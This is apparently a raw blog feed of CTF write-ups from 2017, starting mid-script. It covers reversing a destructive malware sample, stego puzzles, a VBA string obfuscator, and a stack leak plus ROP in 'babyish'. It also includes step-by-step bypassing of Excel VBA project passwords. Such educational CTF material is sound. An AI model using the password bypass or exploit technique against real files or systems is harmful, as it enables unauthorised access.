</span></span><span style="display:flex;"><span>seed = [Bool(<span style="color:#fc6a5d">&#39;seed[</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d">]&#39;</span>.format(i)) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>)]
</span></span><span style="display:flex;"><span>seed1 = [Bool(<span style="color:#fc6a5d">&#39;seed1[</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d">]&#39;</span>.format(i)) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>nv = <span style="color:#d0a8ff">next</span>(seed)
</span></span><span style="display:flex;"><span>nv1 = <span style="color:#d0a8ff">next</span>(seed1)
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># we want same output</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>    s.add(nv[j] == nv1[j])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># we want different input</span>
</span></span><span style="display:flex;"><span>dis = <span style="color:#fc5fa3">False</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>    dis = Or(dis, seed[i] != seed1[i])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>s.add(dis)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(s.check())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>m = s.model()
</span></span><span style="display:flex;"><span>ans = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>    ans |= (<span style="color:#d0bf69">1</span> <span style="color:#fc5fa3">if</span> m[seed[j]] <span style="color:#fc5fa3">else</span> <span style="color:#d0bf69">0</span>) &lt;&lt; j
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(ans)
</span></span><span style="display:flex;"><span>ans = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>    ans |= (<span style="color:#d0bf69">1</span> <span style="color:#fc5fa3">if</span> m[seed1[j]] <span style="color:#fc5fa3">else</span> <span style="color:#d0bf69">0</span>) &lt;&lt; j
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(ans)
</span></span><span style="display:flex;"><span>s.pop()
</span></span></code></pre></div>]]></content></item><item><title>3DS CTF 2017 - W32.killah</title><link>https://theromanxpl0.it/posts/2018/01/3ds-ctf-2017-w32.killah/</link><pubDate>Tue, 02 Jan 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/01/3ds-ctf-2017-w32.killah/</guid><description>&lt;p>We are given a malware sample. We take a snapshot on our VM and run it.
It asks for administrative privileges that we proptly grant.
After the execution our machine shuts down and cannot reboot.&lt;/p>
&lt;p>Let&amp;rsquo;s open it with &lt;a href="https://x64dbg.com/">x64dbg&lt;/a> and step through the code.
We notice that:&lt;/p>
&lt;ul>
&lt;li>the string @0x403223 is modified many times.&lt;/li>
&lt;li>@0x4010e0 and @0x401100 the program tries to exit so we just nop out a couple instructions&lt;/li>
&lt;li>@0x0040115f it creates a file with name &amp;lsquo;flag_is_here&amp;rsquo; then writes 13 bytes from 0x403223 and 16 from 0x403231
There are two decryption routines&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>│ ; CALL XREF from 0x00401011 (entry0)
│ ; CALL XREF from 0x00401048 (entry0)
│ ; CALL XREF from 0x0040112d (entry0)
│ ; CALL XREF from 0x00401143 (entry0)
│ 0x004011a9 51 push ecx
│ 0x004011aa 52 push edx
│ ; JMP XREF from 0x004011b0 (entry0)
│ ┌─&amp;gt; 0x004011ab 0002 add byte [edx], al
│ ⁝ 0x004011ad 3002 xor byte [edx], al
│ ⁝ 0x004011af 42 inc edx
│ └─&amp;lt; 0x004011b0 e2f9 loop 0x4011ab ;[1]
│ 0x004011b2 5a pop edx
│ 0x004011b3 59 pop ecx
└ 0x004011b4 c3 ret
&lt;/code>&lt;/pre>&lt;p>And&lt;/p></description><content type="html"><![CDATA[<p>We are given a malware sample. We take a snapshot on our VM and run it.
It asks for administrative privileges that we proptly grant.
After the execution our machine shuts down and cannot reboot.</p>
<p>Let&rsquo;s open it with <a href="https://x64dbg.com/">x64dbg</a> and step through the code.
We notice that:</p>
<ul>
<li>the string @0x403223 is modified many times.</li>
<li>@0x4010e0 and @0x401100 the program tries to exit so we just nop out a couple instructions</li>
<li>@0x0040115f it creates a file with name &lsquo;flag_is_here&rsquo; then writes 13 bytes from 0x403223 and 16 from 0x403231
There are two decryption routines</li>
</ul>
<pre tabindex="0"><code>│              ; CALL XREF from 0x00401011 (entry0)
│              ; CALL XREF from 0x00401048 (entry0)
│              ; CALL XREF from 0x0040112d (entry0)
│              ; CALL XREF from 0x00401143 (entry0)
│           0x004011a9      51             push ecx
│           0x004011aa      52             push edx
│              ; JMP XREF from 0x004011b0 (entry0)
│       ┌─&gt; 0x004011ab      0002           add byte [edx], al
│       ⁝   0x004011ad      3002           xor byte [edx], al
│       ⁝   0x004011af      42             inc edx
│       └─&lt; 0x004011b0      e2f9           loop 0x4011ab               ;[1]
│           0x004011b2      5a             pop edx
│           0x004011b3      59             pop ecx
└           0x004011b4      c3             ret
</code></pre><p>And</p>
<pre tabindex="0"><code>┌ (fcn) fcn.004011b5 10
│   fcn.004011b5 ();
│              ; UNKNOWN XREF from 0x0040107e (entry0)
│              ; CALL XREF from 0x0040107e (entry0)
│           0x004011b5      51             push ecx
│           0x004011b6      52             push edx
│              ; JMP XREF from 0x004011ba (fcn.004011b5)
│       ┌─&gt; 0x004011b7      3002           xor byte [edx], al
│       ⁝   0x004011b9      42             inc edx
│       └─&lt; 0x004011ba      e2fb           loop 0x4011b7               ;[3]
│           0x004011bc      5a             pop edx
│           0x004011bd      59             pop ecx
└           0x004011be      c3             ret
</code></pre><p>So we try jumping around at each function call prelude.
The first half of the flag is easy to get (you can actually read it in the file), for the latter half I missed a call at first so I just got rubbish and it cost me a couple of resets.</p>
]]></content></item><item><title>3DS CTF 2017 - String Obfuscator</title><link>https://theromanxpl0.it/posts/2017/12/3ds-ctf-2017-string-obfuscator/</link><pubDate>Thu, 21 Dec 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/12/3ds-ctf-2017-string-obfuscator/</guid><description>&lt;p>The input file had no extension, so the first thing to do was figure out how to read it. I opened it in n++ and saw it began with the zip header, so it got decompressed. On the inside, the files were actually the structure of an &lt;code>.xlsm&lt;/code> file, so rather than working on the directory I changed the extension of the input and opened it in excel. I had to enable macros for the challenge to work properly, and this is what I saw at first:&lt;/p></description><content type="html"><![CDATA[<p>The input file had no extension, so the first thing to do was figure out how to read it. I opened it in n++ and saw it began with the zip header, so it got decompressed. On the inside, the files were actually the structure of an <code>.xlsm</code> file, so rather than working on the directory I changed the extension of the input and opened it in excel. I had to enable macros for the challenge to work properly, and this is what I saw at first:</p>
<img class="img-responsive" src="/3dsctf2017/excel.png" alt="Screenshot of Microsoft Excel window showing obfuscated formula" width="603" height="234.433">
<p>By clicking on the icon in the top left, a dialog would pop up and ask for a string to be encrypted:</p>
<img class="img-responsive" src="/3dsctf2017/dialog.png" alt="Screenshot of dialog box showing input field and 'Encrypt' button in Microsoft Excel" width="603" height="235.017">
<p>It was at this point that I figured out that the string in the bottom was the output of that encryption algorithm and that I had to find and reverse it. As I enabled macros before, I went to the visual basic editor (that&rsquo;s <code>Alt+F11</code>), but was prompted for a password. After trying the obvious passwords with no success, I was stuck for a while. Paraphrasing my teammate, <a href="/ctf_backdoorctf17/funsignals/">for a l33t h4xor it&rsquo;s easy, for me it means Google</a></p>
<p>As it turns out, excel passwords are implemented horribly, so by just following a couple steps from <a href="http://www.dragmar.com/public/?p=140">here</a> I was able to bypass it. I&rsquo;ll list them here for clarity:</p>
<ol>
<li>Change the string &lsquo;DPB&rsquo; to &lsquo;DPx&rsquo; inside the file</li>
<li>Close and reopen the file (duh!)</li>
<li>Open the vbasic window, tell it it&rsquo;s fine that the password is broken, set a new password</li>
</ol>
<p>Yup, done already. <em>VBA passwords are that easy to bypass</em>.</p>
<p>One note, though: When I tried to modify the string in file <code>xl/vbaProject.bin</code> inside the unzipped folder and compress it back, Excel wouldn&rsquo;t accept it. The only thing to work for me was to add the modified file to the original zip, so that compression options would be kept.</p>
<p>So I could finally get my hands on the obfuscation algorithm. There were a couple hundred lines of visual basic, of which only a few were actually important, while the others were conversion algorithms between base64/text/bytes.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>Private Sub OK_Click()
</span></span><span style="display:flex;"><span>    If TextBox1.Value = <span style="color:#fc6a5d">&#34;&#34;</span> Then: Exit Sub
</span></span><span style="display:flex;"><span>    Dim x, l, a, test1, test As String
</span></span><span style="display:flex;"><span>    Dim tam As Integer
</span></span><span style="display:flex;"><span>    x = TextBox1.Value
</span></span><span style="display:flex;"><span>    tam = Len(x)
</span></span><span style="display:flex;"><span>    While tam &gt; <span style="color:#d0bf69">0</span>: a = a &amp; (Asc(Mid(x, <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>))): tam = tam - <span style="color:#d0bf69">1</span>: x = Right(x, tam): Wend
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#39; a is now the concatenation of the ascii values in the string. Ex: &#34;abcd&#34; -&gt; 979899100</span>
</span></span><span style="display:flex;"><span>    tam = Len(a)
</span></span><span style="display:flex;"><span>    While a &lt;&gt; <span style="color:#fc6a5d">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>        test1 = Mid(a, <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">&#39; test1 contains the current digit in a</span>
</span></span><span style="display:flex;"><span>        test = test &amp; (Mid(a, <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>) + tam):
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">&#39; test contains each digit in a + len(a). Ex: a = 123, test = 456</span>
</span></span><span style="display:flex;"><span>        l = l &amp; Chr(Mid(a, <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>) + tam):
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">&#39; l is the same as test but with each digit interpreted as ascii</span>
</span></span><span style="display:flex;"><span>        a = Right(a, Len(a) - <span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>    Wend
</span></span><span style="display:flex;"><span>    MsgBox Base64EncodeString(l), vbOKOnly, <span style="color:#fc6a5d">&#34;Obfuscation Successfully&#34;</span>: Unload Me
</span></span><span style="display:flex;"><span>End Sub
</span></span></code></pre></div><p>It&rsquo;s ugly, I know. But I still went and wrote an inverse algorithm in python, which was used to get the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">decrypt</span>(target):
</span></span><span style="display:flex;"><span>	d = base64.b64decode(target)
</span></span><span style="display:flex;"><span>	e = <span style="color:#fc6a5d">&#39;&#39;</span>.join(<span style="color:#d0a8ff">str</span>((<span style="color:#d0a8ff">ord</span>(ch) - <span style="color:#d0a8ff">len</span>(d)) % <span style="color:#d0bf69">256</span>) <span style="color:#fc5fa3">for</span> ch in d)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>	out = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> i &lt; <span style="color:#d0a8ff">len</span>(e):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> i &lt; <span style="color:#d0a8ff">len</span>(e) - <span style="color:#d0bf69">2</span> and e[i] == <span style="color:#fc6a5d">&#39;1&#39;</span>:
</span></span><span style="display:flex;"><span>			out += <span style="color:#d0a8ff">chr</span>(<span style="color:#d0a8ff">int</span>(e[i:i+<span style="color:#d0bf69">3</span>]))
</span></span><span style="display:flex;"><span>			i += <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">elif</span> i &lt; <span style="color:#d0a8ff">len</span>(e) - <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>			out += <span style="color:#d0a8ff">chr</span>(<span style="color:#d0a8ff">int</span>(e[i:i+<span style="color:#d0bf69">2</span>]))
</span></span><span style="display:flex;"><span>			i += <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> out
</span></span></code></pre></div><p>At this point I thought I had it, but it took me a while to actually get to the flag. I couldn&rsquo;t get copy paste to work from excel for some reason, so at first I was manually copying the string over and I couldn&rsquo;t see there were some missing characters that overflowed the textbox. Excel has another layer of protection that can be applied on the whole document, which I had to remove by going to <code>Revision-&gt;Remove sheet protection</code>. Only now could I get copy paste to work and obtain the full encrypted string:</p>
<pre tabindex="0"><code>XVleYGBbWVpbXl9cYF9gX1lgWl1aXV1gXV9eXVpdXVxhXGBfYF1bYV1gYVxgYF1hXV9dX2BcYGBfYV1dXV9aXVlhXWBfXGBgWl9dXVtfWl1ZXVldXVlaXQ==
</code></pre><p>By running it through the decryption routine, I got the flag: <code>3DS{C0NGR47UL4710N5_Y0U_KN0W_7H3_W0RK5H337}</code>.</p>
<p>Finally!</p>
]]></content></item><item><title>3DS CTF 2017 - Microscope</title><link>https://theromanxpl0.it/posts/2017/12/3ds-ctf-2017-microscope/</link><pubDate>Wed, 20 Dec 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/12/3ds-ctf-2017-microscope/</guid><description>&lt;p>The input gif had 108900 frames, all either yellow or green. By mapping each one to a single white or black pixel of an image, we can get to a qr code.
The tricky part here was that the frame data was identical for each one of them, while the thing to change was the first entry in the color palette, effectively modifying the color without touching the actual pixel data.&lt;/p></description><content type="html"><![CDATA[<p>The input gif had 108900 frames, all either yellow or green. By mapping each one to a single white or black pixel of an image, we can get to a qr code.
The tricky part here was that the frame data was identical for each one of them, while the thing to change was the first entry in the color palette, effectively modifying the color without touching the actual pixel data.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/python2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> os
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> PIL <span style="color:#fc5fa3">import</span> Image
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">extractFrames</span>(inGif, outFolder):
</span></span><span style="display:flex;"><span>	outdata = []
</span></span><span style="display:flex;"><span>	frame = Image.open(inGif)
</span></span><span style="display:flex;"><span>	nframes = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> frame:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> frame.getpalette()[<span style="color:#d0bf69">0</span>] &lt; <span style="color:#d0bf69">128</span>:
</span></span><span style="display:flex;"><span>			outdata += [(<span style="color:#d0bf69">0</span>,<span style="color:#d0bf69">0</span>,<span style="color:#d0bf69">0</span>)]
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			outdata += [(<span style="color:#d0bf69">255</span>,<span style="color:#d0bf69">255</span>,<span style="color:#d0bf69">255</span>)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		nframes += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>			frame.seek(nframes)
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">except</span> EOFError:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> outdata
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>	c = extractFrames(<span style="color:#fc6a5d">&#39;gif.gif&#39;</span>, <span style="color:#fc6a5d">&#39;output&#39;</span>)
</span></span><span style="display:flex;"><span>	img = Image.new(<span style="color:#fc6a5d">&#39;RGB&#39;</span>, (<span style="color:#d0bf69">330</span>, <span style="color:#d0bf69">330</span>))
</span></span><span style="display:flex;"><span>	img.putdata(c)
</span></span><span style="display:flex;"><span>	img.save(<span style="color:#fc6a5d">&#39;qr.png&#39;</span>, <span style="color:#fc6a5d">&#39;PNG&#39;</span>)
</span></span></code></pre></div><p>The output of this script is the following image, which when read reveals the flag:</p>
<img class="img-responsive" src="/3dsctf2017/qr.png" alt="QR code image containing flag for 3DS Capture the Flag 2017 'Microscope' challenge" width="330" height="330">
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>3DS{s0_y0u_kn0w_yur_g1fs}
</span></span></code></pre></div>]]></content></item><item><title>3DS CTF 2017 - Bit Map</title><link>https://theromanxpl0.it/posts/2017/12/3ds-ctf-2017-bit-map/</link><pubDate>Tue, 19 Dec 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/12/3ds-ctf-2017-bit-map/</guid><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">from&lt;/span> __future__ &lt;span style="color:#fc5fa3">import&lt;/span> print_function
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">from&lt;/span> bs4 &lt;span style="color:#fc5fa3">import&lt;/span> BeautifulSoup
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">with&lt;/span> &lt;span style="color:#d0a8ff">open&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#39;index.html&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;r&amp;#39;&lt;/span>) &lt;span style="color:#fc5fa3">as&lt;/span> f:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> html = f.read()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>soup = BeautifulSoup(html, &lt;span style="color:#fc6a5d">&amp;#39;html.parser&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tmp = []
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">for&lt;/span> e in soup.find_all(&lt;span style="color:#fc6a5d">&amp;#39;td&amp;#39;&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tmp.append(e.get(&lt;span style="color:#fc6a5d">&amp;#39;bgcolor&amp;#39;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>r = &lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">for&lt;/span> bg in tmp:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r = r + bg[&lt;span style="color:#d0bf69">1&lt;/span>:].decode(&lt;span style="color:#fc6a5d">&amp;#39;hex&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#fc6a5d">&amp;#39;3DS&amp;#39;&lt;/span> in r:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> idx = r.index(&lt;span style="color:#fc6a5d">&amp;#39;3DS&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">while&lt;/span> not r[idx] == &lt;span style="color:#fc6a5d">&amp;#39;}&amp;#39;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(r[idx], end=&lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> idx = idx + &lt;span style="color:#d0bf69">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#39;}&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This script prints our flag -&amp;gt; &lt;code>3DS{H1dd3n_1n_7ru3_C0l0r5}&lt;/code>&lt;/p></description><content type="html"><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> __future__ <span style="color:#fc5fa3">import</span> print_function
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> bs4 <span style="color:#fc5fa3">import</span> BeautifulSoup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;index.html&#39;</span>, <span style="color:#fc6a5d">&#39;r&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>    html = f.read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>soup = BeautifulSoup(html, <span style="color:#fc6a5d">&#39;html.parser&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tmp = []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> e in soup.find_all(<span style="color:#fc6a5d">&#39;td&#39;</span>):
</span></span><span style="display:flex;"><span>    tmp.append(e.get(<span style="color:#fc6a5d">&#39;bgcolor&#39;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> bg in tmp:
</span></span><span style="display:flex;"><span>    r = r + bg[<span style="color:#d0bf69">1</span>:].decode(<span style="color:#fc6a5d">&#39;hex&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;3DS&#39;</span> in r:
</span></span><span style="display:flex;"><span>    idx = r.index(<span style="color:#fc6a5d">&#39;3DS&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">while</span> not r[idx] == <span style="color:#fc6a5d">&#39;}&#39;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(r[idx], end=<span style="color:#fc6a5d">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>        idx = idx + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;}&#39;</span>)
</span></span></code></pre></div><p>This script prints our flag -&gt; <code>3DS{H1dd3n_1n_7ru3_C0l0r5}</code></p>
]]></content></item><item><title>HXP CTF 2017 - babyish</title><link>https://theromanxpl0.it/posts/2017/11/hxp-ctf-2017-babyish/</link><pubDate>Fri, 24 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/hxp-ctf-2017-babyish/</guid><description>&lt;p>For this challenge we get a small binary that first asks and prints a name and then reads a string.
Our first vulnerability lies in the &lt;code>greet&lt;/code> function, where the stack allocated buffer isn&amp;rsquo;t cleared before use.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-cpp" data-lang="cpp">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">void&lt;/span> &lt;span style="color:#fc5fa3">__cdecl&lt;/span> &lt;span style="color:#41a1c0">greet&lt;/span>(FILE *in, FILE *out)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">int&lt;/span> v2; &lt;span style="color:#6c7986">// eax
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> buf[&lt;span style="color:#d0bf69">64&lt;/span>]; &lt;span style="color:#6c7986">// [esp+0h] [ebp-48h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> printf(&lt;span style="color:#fc6a5d">&amp;#34;Enter username: &amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v2 = fileno(in);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> read(v2, buf, &lt;span style="color:#d0bf69">64u&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fprintf(out, &lt;span style="color:#fc6a5d">&amp;#34;Hey %s&amp;#34;&lt;/span>, buf);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Thus when the name is printed back, we get access to some stack variables. In particular, we can leak a libc address and a saved &lt;code>esp&lt;/code> value.
Having all needed addresses, all that&amp;rsquo;s left to do is overflow the second read by giving it a negative length and rop our way from there.&lt;/p></description><content type="html"><![CDATA[<p>For this challenge we get a small binary that first asks and prints a name and then reads a string.
Our first vulnerability lies in the <code>greet</code> function, where the stack allocated buffer isn&rsquo;t cleared before use.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fc5fa3">void</span> <span style="color:#fc5fa3">__cdecl</span> <span style="color:#41a1c0">greet</span>(FILE *in, FILE *out)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> v2; <span style="color:#6c7986">// eax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> buf[<span style="color:#d0bf69">64</span>]; <span style="color:#6c7986">// [esp+0h] [ebp-48h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  printf(<span style="color:#fc6a5d">&#34;Enter username: &#34;</span>);
</span></span><span style="display:flex;"><span>  v2 = fileno(in);
</span></span><span style="display:flex;"><span>  read(v2, buf, <span style="color:#d0bf69">64u</span>);
</span></span><span style="display:flex;"><span>  fprintf(out, <span style="color:#fc6a5d">&#34;Hey %s&#34;</span>, buf);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Thus when the name is printed back, we get access to some stack variables. In particular, we can leak a libc address and a saved <code>esp</code> value.
Having all needed addresses, all that&rsquo;s left to do is overflow the second read by giving it a negative length and rop our way from there.</p>
